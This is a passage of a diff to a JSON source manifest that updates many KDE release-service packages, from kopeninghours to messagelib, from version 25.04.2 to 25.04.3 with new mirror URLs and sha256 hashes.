-    "url": "mirror://kde/stable/release-service/25.04.2/src/kopeninghours-25.04.2.tar.xz",
-    "hash": "sha256-gJ8TQ4rKJFqV/7//RCQTkbVaOFlec9aMN0eWcrI1hfo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kopeninghours-25.04.3.tar.xz",
+    "hash": "sha256-hLnng78PvesUFufjAIlMMmiwEiCzwVvlWS+0AJe4vNI="
   },
   "korganizer": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/korganizer-25.04.2.tar.xz",
-    "hash": "sha256-V2Bdq81m1PlG0rSkltOsF0c290SAqaYyNAYQkJ2h0jA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/korganizer-25.04.3.tar.xz",
+    "hash": "sha256-3Riywmuxr0zNTuZqSiA8jGq1n2ObxvWgmjtMjRv1XO4="
   },
   "kosmindoormap": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kosmindoormap-25.04.2.tar.xz",
-    "hash": "sha256-aneLU4EmrYij1OM0sFJZ9O6kCrB88w++KXM+rq1Zw/w="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kosmindoormap-25.04.3.tar.xz",
+    "hash": "sha256-msBAzkM5vF5xXeBxN+ebyuprpFnjBJpXzienUDgUIto="
   },
   "kpat": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kpat-25.04.2.tar.xz",
-    "hash": "sha256-MfRzlSMs1Buhny1v2Qvem+A/XtYeFYzx0YJIor4jo3o="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kpat-25.04.3.tar.xz",
+    "hash": "sha256-zcIXaH3o3rwi75fd09WZgLpvf4NrNMRCs8mR5uWhVI4="
   },
   "kpimtextedit": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kpimtextedit-25.04.2.tar.xz",
-    "hash": "sha256-3W3sBz43ljqUFdXsDNHtpPNOZL7IgM8nFuE9JUo0z7Y="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kpimtextedit-25.04.3.tar.xz",
+    "hash": "sha256-ShB8oCpFNf3Aj3tliGzJnN+dpkKmc2O8urTLozi8bDI="
   },
   "kpkpass": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kpkpass-25.04.2.tar.xz",
-    "hash": "sha256-8xfbO9jHw01wcnNTMVyDFnOhawpw2nXwdcu1qdrS+TE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kpkpass-25.04.3.tar.xz",
+    "hash": "sha256-aKmgac0u18kRtsSlFf7sdaiFB6RFKU1aU5G7uAMAgd4="
   },
   "kpmcore": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kpmcore-25.04.2.tar.xz",
-    "hash": "sha256-MalcvcqCTdxd933SH9qkLzIPcdeG3kZ0RV+0rMpbsv0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kpmcore-25.04.3.tar.xz",
+    "hash": "sha256-bCLpBo+h56Skpk3vdja7NJi5d893dS0SbxtOEUP0jJU="
   },
   "kpublictransport": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kpublictransport-25.04.2.tar.xz",
-    "hash": "sha256-iBXmji6aAEqGZQdMqRYZwAA9KEW1IR+dwDyJBNuCYqQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kpublictransport-25.04.3.tar.xz",
+    "hash": "sha256-Y3usX/I4uS0xxKZ36SpzGZgWEXlXVjSFUvAN1ShCXl4="
   },
   "kqtquickcharts": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kqtquickcharts-25.04.2.tar.xz",
-    "hash": "sha256-8WkcSO/upEKFo2dUaXRBAn2H4Hi2wMQhJJVxRB8xeao="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kqtquickcharts-25.04.3.tar.xz",
+    "hash": "sha256-bflSPZBZRJV9InrsAJzfRfICsnkpYmnd6PY6ArVJwCg="
   },
   "krdc": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/krdc-25.04.2.tar.xz",
-    "hash": "sha256-LWK6gWzZ77po7gakpV5vKLpAXrYcl2b35EFkznWp458="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/krdc-25.04.3.tar.xz",
+    "hash": "sha256-T78jcTziX0ZdsT2uK5WtJGlFyyrlEm4XoQu1LGGDTso="
   },
   "krecorder": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/krecorder-25.04.2.tar.xz",
-    "hash": "sha256-Y70TljWdOPMRe4a89d95or/EXwxdzoFwrFfFTPL2z9Y="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/krecorder-25.04.3.tar.xz",
+    "hash": "sha256-otBcxZU3ajwPqFioONiEExsFRSa1Xz/vEtXx0j5WIqY="
   },
   "kreversi": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kreversi-25.04.2.tar.xz",
-    "hash": "sha256-GXRJ8gwm/UEQOaALBDuAK2ual+XzxJIMqb+BJVACArE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kreversi-25.04.3.tar.xz",
+    "hash": "sha256-wSPoxxaq480NXxHkvcSeNsMvZs7QBj4HT9pzDqDiTCk="
   },
   "krfb": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/krfb-25.04.2.tar.xz",
-    "hash": "sha256-ff9TuCOPAV5IPwOO0Zy7c4FUEr6ShLhu1LVTb69dUAY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/krfb-25.04.3.tar.xz",
+    "hash": "sha256-9tuZz5RaIHMzbtbdjdAxAagVdCoM7MVgo1f+ObN2Bwc="
   },
   "kruler": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kruler-25.04.2.tar.xz",
-    "hash": "sha256-hS/zJUCsdkh01AEocfk9QsoLSCQYvyUIQUD5kqCPLsI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kruler-25.04.3.tar.xz",
+    "hash": "sha256-cI2JfyE8s/2Iy6yGKZV7HWg6j8X4dtdPR7wzQ0g3dC8="
   },
   "ksanecore": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksanecore-25.04.2.tar.xz",
-    "hash": "sha256-cDnpxMHywpU1mmjZWB8HwGdFcoSDkax8y7GvIsB5Fdg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksanecore-25.04.3.tar.xz",
+    "hash": "sha256-5aj92kTUon8MkMK4COSKc3mZ7CAP0LcPdfq7M6kBMwI="
   },
   "kshisen": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kshisen-25.04.2.tar.xz",
-    "hash": "sha256-6dPJjWBTPK1374O+gadZANcscDx8be5IuML73DTsCr0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kshisen-25.04.3.tar.xz",
+    "hash": "sha256-IFpkR0Xxc3xtxjNGOxCAxJKKA783RJvrghX50upNZn0="
   },
   "ksirk": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksirk-25.04.2.tar.xz",
-    "hash": "sha256-bvuln1eI+HnZGpP2zQWEQgoZ2CVF+xjSaClQ3q/djM8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksirk-25.04.3.tar.xz",
+    "hash": "sha256-a9SLUrZGcTQXzMS7kS3kAKalhU6CmzsqEQrVwNqwqk0="
   },
   "ksmtp": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksmtp-25.04.2.tar.xz",
-    "hash": "sha256-6Sr/Y4KUnYKq3HzHuoD1/Eqg/qzbJPpNGmDmdaRTMFY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksmtp-25.04.3.tar.xz",
+    "hash": "sha256-GJRPmAQyjAnMgrHDD518WBJVXEXEQZm7nKo329g/TIY="
   },
   "ksnakeduel": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksnakeduel-25.04.2.tar.xz",
-    "hash": "sha256-V9T/NEgNV+MeNotXsXBZ5svBIma6YN9rIqLe4C0k1hw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksnakeduel-25.04.3.tar.xz",
+    "hash": "sha256-rPcUi6wf/3M6cDK6JrKKy4T0K5bVFy07oKHzR18RPLU="
   },
   "kspaceduel": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kspaceduel-25.04.2.tar.xz",
-    "hash": "sha256-Qdms1IzV+lVOdhdqQXYQPYg5vV8lqlSBzNlDk68agoU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kspaceduel-25.04.3.tar.xz",
+    "hash": "sha256-1VDeNvcZOTq1PMLPvGWe6PipVzh36x06eAwyOBj9jYo="
   },
   "ksquares": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksquares-25.04.2.tar.xz",
-    "hash": "sha256-Qe0sStUu4IW9XZbJNpYahW6/MwFEiSsdBOM+LQr54H0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksquares-25.04.3.tar.xz",
+    "hash": "sha256-dCa2NCH40SGwhgz4sTb5oCdAcT+LHsksu0ceatu61I0="
   },
   "ksudoku": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksudoku-25.04.2.tar.xz",
-    "hash": "sha256-6T+KDli9pOosFbOY79J/UyW2QbVYu9x8Oj9qgmwBrMk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksudoku-25.04.3.tar.xz",
+    "hash": "sha256-wU1hSID0m9nANrrSMWKYIeIuMT1W2gsowBgj89JygvY="
   },
   "ksystemlog": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ksystemlog-25.04.2.tar.xz",
-    "hash": "sha256-950IzNsjQNCfxT2X7JxcF/lLpSYAo4F8Ae+XQfFz1eM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ksystemlog-25.04.3.tar.xz",
+    "hash": "sha256-y6wpAHbuFtNYFgFajJn+KXqQk4mNC+rCnHNLyeAiav4="
   },
   "kteatime": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kteatime-25.04.2.tar.xz",
-    "hash": "sha256-MQvIDRn0otVXLgDVEXiGIJvLqxiGILEwpbJGzhV69aw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kteatime-25.04.3.tar.xz",
+    "hash": "sha256-YSnKsU4iSDYgF5xL0YvMV+/oGDNha2BFMmG1SVgrkWw="
   },
   "ktimer": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktimer-25.04.2.tar.xz",
-    "hash": "sha256-10UTMq1mORRx8ee7ks+LwTUsfpHetHpMNM+C7UDSjGw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktimer-25.04.3.tar.xz",
+    "hash": "sha256-9YK0QqlWKEtW0VuBOdokjnZwHgyqcl5uZRdc2S3UXZQ="
   },
   "ktnef": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktnef-25.04.2.tar.xz",
-    "hash": "sha256-Tt0YM1+FQW/sTHk9NZgC+TXeg4p7YP1vTZz+fuasyj4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktnef-25.04.3.tar.xz",
+    "hash": "sha256-URnwPRfMH1Z8DUKa9lBjNaHowL1DtTmxtkROzDvWs2o="
   },
   "ktorrent": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktorrent-25.04.2.tar.xz",
-    "hash": "sha256-2hg0eV4aA78aAhgs86lb6WVKXewypVvWPleVzF013ic="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktorrent-25.04.3.tar.xz",
+    "hash": "sha256-AKAmKqMOtTZzmTKIsf+ufi+SS2kmD4e+p2JxWlzg9+c="
   },
   "ktouch": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktouch-25.04.2.tar.xz",
-    "hash": "sha256-gQ2f9KJiPsqhBjjvWd1kReOYiknQ7SZRlEf2o+XA8wA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktouch-25.04.3.tar.xz",
+    "hash": "sha256-rMHPf0NSao+1afluY6yjnsPm4qxoB9JwBWUPhwr1npA="
   },
   "ktrip": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktrip-25.04.2.tar.xz",
-    "hash": "sha256-rNYXo88f7izEt7gWFWcjUBYrRv7ulJ/O1h+TZhsJF3E="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktrip-25.04.3.tar.xz",
+    "hash": "sha256-CVJ7C5DB1U2UGDQBR0YxR2e9dG9yzvoI3LPqJDaZafo="
   },
   "ktuberling": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ktuberling-25.04.2.tar.xz",
-    "hash": "sha256-+cQYkHBThpNwH44iThRTlKwnDMsHDGe9tkCdqxnxMeA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ktuberling-25.04.3.tar.xz",
+    "hash": "sha256-UfXFEzDoJep3F9C16JVmnrAuWnpXngpVkmyeTtVtjRY="
   },
   "kturtle": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kturtle-25.04.2.tar.xz",
-    "hash": "sha256-tzbKkIhCF2O1qVpXoWmXReH24uVFRHf7vOXoLyWuQxU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kturtle-25.04.3.tar.xz",
+    "hash": "sha256-flO667mSZJZK0EeySCdZb5uZjGmNtYnw77dP4WY37Ag="
   },
   "kubrick": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kubrick-25.04.2.tar.xz",
-    "hash": "sha256-CnBXBVU4rL4yWpEMjxZ4RhqL6DJK3l6klHabjIpscb0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kubrick-25.04.3.tar.xz",
+    "hash": "sha256-QbFgN0SPTE2nWqILcDXg+q9rjCgLsF/B/HmobxziKVw="
   },
   "kunifiedpush": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kunifiedpush-25.04.2.tar.xz",
-    "hash": "sha256-+Wksn/OhMiaVshjL1sJujAj6/JQKZsuovPW+576CuqQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kunifiedpush-25.04.3.tar.xz",
+    "hash": "sha256-oW/+QRexS6oC87iufenlCaFzWcG2fc2FGu9PPDZhod8="
   },
   "kwalletmanager": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kwalletmanager-25.04.2.tar.xz",
-    "hash": "sha256-YmokCCb1UYQTlbxhdC70U5CZXfV82a7NRKn9sXuWzyg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kwalletmanager-25.04.3.tar.xz",
+    "hash": "sha256-JbZtjj2pVI7LAjb9DPxQ1umKOFyiCS1lZfdadT8yKeo="
   },
   "kwave": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kwave-25.04.2.tar.xz",
-    "hash": "sha256-EAi7RqA3DYM91lUdPE25fKOSJNFk9t4x7MReBtA9zY4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kwave-25.04.3.tar.xz",
+    "hash": "sha256-AeGM36opYAPWs64YU669Q3HhgWb2qZ+omSN/fMt1bkY="
   },
   "kweather": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kweather-25.04.2.tar.xz",
-    "hash": "sha256-AdcZ/8zNNgMfPzN+SFq0/ppX20ikMzqGR/HpuzfzQsA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kweather-25.04.3.tar.xz",
+    "hash": "sha256-1SUIi4RiiqReShxQT1InrAtmcRoytUXC7vyCZJzzYrE="
   },
   "kweathercore": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kweathercore-25.04.2.tar.xz",
-    "hash": "sha256-L1l2grMWHjVu+AUQu/JMUej902S9AQigZ/WS7CFxJys="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kweathercore-25.04.3.tar.xz",
+    "hash": "sha256-yZFDKed+TdRgoeC40HRHc3dcJJT1vj9PPvrKyNPgBqk="
   },
   "kwordquiz": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kwordquiz-25.04.2.tar.xz",
-    "hash": "sha256-cCo9fCgaqiBWIbIIi6eiTqICrgOQxc9AV/FmhwEoNrc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kwordquiz-25.04.3.tar.xz",
+    "hash": "sha256-VaqtbssKp6ipRS79545cc0h4bZ/xlns9gsfoh2rUcoY="
   },
   "libgravatar": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libgravatar-25.04.2.tar.xz",
-    "hash": "sha256-QMy80q9/85Y71V1eu8JgixopIP/C5KiqfpflBK4aAPA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libgravatar-25.04.3.tar.xz",
+    "hash": "sha256-JOi+B7tpquaCww4sb8BWZk+X10wO9bPG8uviXxbQBkc="
   },
   "libkcddb": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkcddb-25.04.2.tar.xz",
-    "hash": "sha256-8UJYpxzjYPupSNjcVOtu0WfRbTH4DIO9J+a9t5ynkNM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkcddb-25.04.3.tar.xz",
+    "hash": "sha256-bd5iSZj/cCuFqm7FihYBNkafYlky4YPdsYReWttmmss="
   },
   "libkcompactdisc": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkcompactdisc-25.04.2.tar.xz",
-    "hash": "sha256-k9qSw8a3zVZlcnZ0QG8GvqvP66Aut7lEWt9EGuZhjVg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkcompactdisc-25.04.3.tar.xz",
+    "hash": "sha256-7gvoZrb5Qc32s8h6RYYbx2haW6mHXK+OX0aEHYMi038="
   },
   "libkdcraw": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdcraw-25.04.2.tar.xz",
-    "hash": "sha256-3nvETQQ3oNypShAFNguWsA2k/8UB9RPv9GbD6ydV/Yo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkdcraw-25.04.3.tar.xz",
+    "hash": "sha256-T/0ifPCDjJpGvp9oLSQxko5GY61U3h92W9iuJY6xEOg="
   },
   "libkdegames": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdegames-25.04.2.tar.xz",
-    "hash": "sha256-h3XHj3bWS+BbqxDfTQw/o9X1RCoJTIZQHW7HramzDSs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkdegames-25.04.3.tar.xz",
+    "hash": "sha256-Y80rE36YmmNZlMSPk9yezztapjBtOb2lp6OMmqKkN6Q="
   },
   "libkdepim": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdepim-25.04.2.tar.xz",
-    "hash": "sha256-t1Y+IcVlPLSbFOUPePTenIumsszhFl1kl7YYaEnsBdk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkdepim-25.04.3.tar.xz",
+    "hash": "sha256-bZx4Bj21I0U55fP92+y8phlIt55gBz7CFaf/2tYkGPo="
   },
   "libkeduvocdocument": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkeduvocdocument-25.04.2.tar.xz",
-    "hash": "sha256-mJeZkx22cQsjNw98tU//BiwSuwLZhWRDUccW8LRsbjY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkeduvocdocument-25.04.3.tar.xz",
+    "hash": "sha256-fsrNtPMT5pyieq0sAlIMdtXtXbMJX3dqcXUm4VwX+64="
   },
   "libkexiv2": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkexiv2-25.04.2.tar.xz",
-    "hash": "sha256-nuuw2eyXc/xKPbf6GfbfaSOGCSDqIZLKn52d+WvJl9E="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkexiv2-25.04.3.tar.xz",
+    "hash": "sha256-17jXkenbj6zxapVEfapZfvqqa0LTAPp8vp0f9bnntag="
   },
   "libkgapi": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkgapi-25.04.2.tar.xz",
-    "hash": "sha256-MWmPsZzNZq9N1tyhI2zvdm1wHU+AmMXCyp4gbLPwNMA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkgapi-25.04.3.tar.xz",
+    "hash": "sha256-z4lfAdGWfAKcFSOcU+OasRYTt3AO0a+o5hxieL2PvPg="
   },
   "libkleo": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkleo-25.04.2.tar.xz",
-    "hash": "sha256-NP65hx2KDm3tCnuqlfeP2sKME9ewDukpa9FmngxgX2o="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkleo-25.04.3.tar.xz",
+    "hash": "sha256-fJszSyJsmQ1Rk7Lmajzo3hxepsKvyRdSgOb0TQKnyqg="
   },
   "libkmahjongg": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkmahjongg-25.04.2.tar.xz",
-    "hash": "sha256-14ZzjabJ2blINzCp4DlvHEaB8n00pkfCaTjiI5Ssy5A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkmahjongg-25.04.3.tar.xz",
+    "hash": "sha256-ZXCwVNArEvfAs30o3YkwwXzGpGFkN2E0SKtpzEsIRGw="
   },
   "libkomparediff2": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libkomparediff2-25.04.2.tar.xz",
-    "hash": "sha256-D0g0UbJfRit9cgHYkglZZVrG17tHmaAD1GOmLiE64Hk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libkomparediff2-25.04.3.tar.xz",
+    "hash": "sha256-qxd5807apRN1xqSMkWcj8zLYep0jIY7GwERsYRKqVkw="
   },
   "libksane": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libksane-25.04.2.tar.xz",
-    "hash": "sha256-xFj8wvD/Ur52jnfLTLPKIVDbiYbthAPLGf8Iv12tzsM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libksane-25.04.3.tar.xz",
+    "hash": "sha256-6rl+MZzY4CDmPEnKPBgYiJjTJtNWjJOaVkC0LNwcJl8="
   },
   "libksieve": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libksieve-25.04.2.tar.xz",
-    "hash": "sha256-VIR0mxk0KmDpJN7h+A9vXvE0jNGZBtE26ts2ZRNQy8A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libksieve-25.04.3.tar.xz",
+    "hash": "sha256-B/bZc2LkCNq8+xkbC/1yjt/VmW7jeoQHTpKMsunBOp0="
   },
   "libktorrent": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/libktorrent-25.04.2.tar.xz",
-    "hash": "sha256-5sz20FA6C3HVlLdeZ6oK1QXVcxbSDVOAzMWQxPBgTpg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/libktorrent-25.04.3.tar.xz",
+    "hash": "sha256-E3prFLvdUSHHr8qOba0OUv997oCm5bVGOGV/E8Boc6g="
   },
   "lokalize": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/lokalize-25.04.2.tar.xz",
-    "hash": "sha256-hUCK82+QatoB8wNClA4GXrK9najNXecuK9RXnjNkKJ4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/lokalize-25.04.3.tar.xz",
+    "hash": "sha256-VnTDYXktr5tokvSiZ9kbzu8kX2Fh3P/XXR3VxLQ7IyE="
   },
   "lskat": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/lskat-25.04.2.tar.xz",
-    "hash": "sha256-7+saiNsrZq8/D68sqzcg/I1pSVSCT1/0nArE0r4+0J8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/lskat-25.04.3.tar.xz",
+    "hash": "sha256-l6HCD4Ab4WX+fmByEyQDQe31TX/iblYz+WWJZsoNpQ0="
   },
   "mailcommon": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/mailcommon-25.04.2.tar.xz",
-    "hash": "sha256-LGIMU3AaVtZwRPXZdOFxCTgn1cP5fvCV5uLWD5Mslb4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/mailcommon-25.04.3.tar.xz",
+    "hash": "sha256-JSWqd4qSL2c19XGjKolv36+hqt/MSuvWYZMGqY8hNSE="
   },
   "mailimporter": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/mailimporter-25.04.2.tar.xz",
-    "hash": "sha256-v5udSHXzzVszg2am5eca5QiiHVPzsodHROcH8lTYgjE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/mailimporter-25.04.3.tar.xz",
+    "hash": "sha256-fgJvRrapdLWtgs10tE//YCYiiyjYuonkr56qCP4LNn4="
   },
   "marble": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/marble-25.04.2.tar.xz",
-    "hash": "sha256-U7y5nFGwafmPZx3D2sJzUbM9HaXdPmLLC2B62wHXeOo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/marble-25.04.3.tar.xz",
+    "hash": "sha256-HC/tI2fc6wexiYaZ97zs1a1n4k06jtVuF/ujeSxSqkQ="
   },
   "markdownpart": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/markdownpart-25.04.2.tar.xz",
-    "hash": "sha256-h6RR2IwL01p+PMfGHHXfx9rZdOfV1BeIAasxmYARn9Q="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/markdownpart-25.04.3.tar.xz",
+    "hash": "sha256-TXuZzuRe00BTXCRDePcUGsR9cNdbfCidk6UVFrZgw8E="
   },
   "massif-visualizer": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/massif-visualizer-25.04.2.tar.xz",
-    "hash": "sha256-ED7UvpG66v9+5J5Y6qqwx3TzZIhlqaEG/BMjsZFmeRc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/massif-visualizer-25.04.3.tar.xz",
+    "hash": "sha256-dirD6Cr/V2xItRHzf8oEISHPqhD2TfMQGbGKe7AJiDQ="
   },
   "mbox-importer": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/mbox-importer-25.04.2.tar.xz",
-    "hash": "sha256-jFuSQIelaMDkOr/2s7ZWH4dAxBLq/GpF+GktJVu2jLw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/mbox-importer-25.04.3.tar.xz",
+    "hash": "sha256-EWmS/jknp08nL6m4qxuy9JTc26Bi0EXZ0eVtJIpS0/M="
   },
   "merkuro": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/merkuro-25.04.2.tar.xz",
-    "hash": "sha256-VE1nf7vfY3KIDkyxMuR9ndYZykU4cxY6nZVv57AfV/Q="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/merkuro-25.04.3.tar.xz",
+    "hash": "sha256-whPn9L10bmmexWMVzSY5MSQoPpGQpenCw63yGBHN3ic="
   },
   "messagelib": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/messagelib-25.04.2.tar.xz",
-    "hash": "sha256-c1Supyslwu2S2x3Lidn19bgrorOCl50NEwPEdxZWGgU="
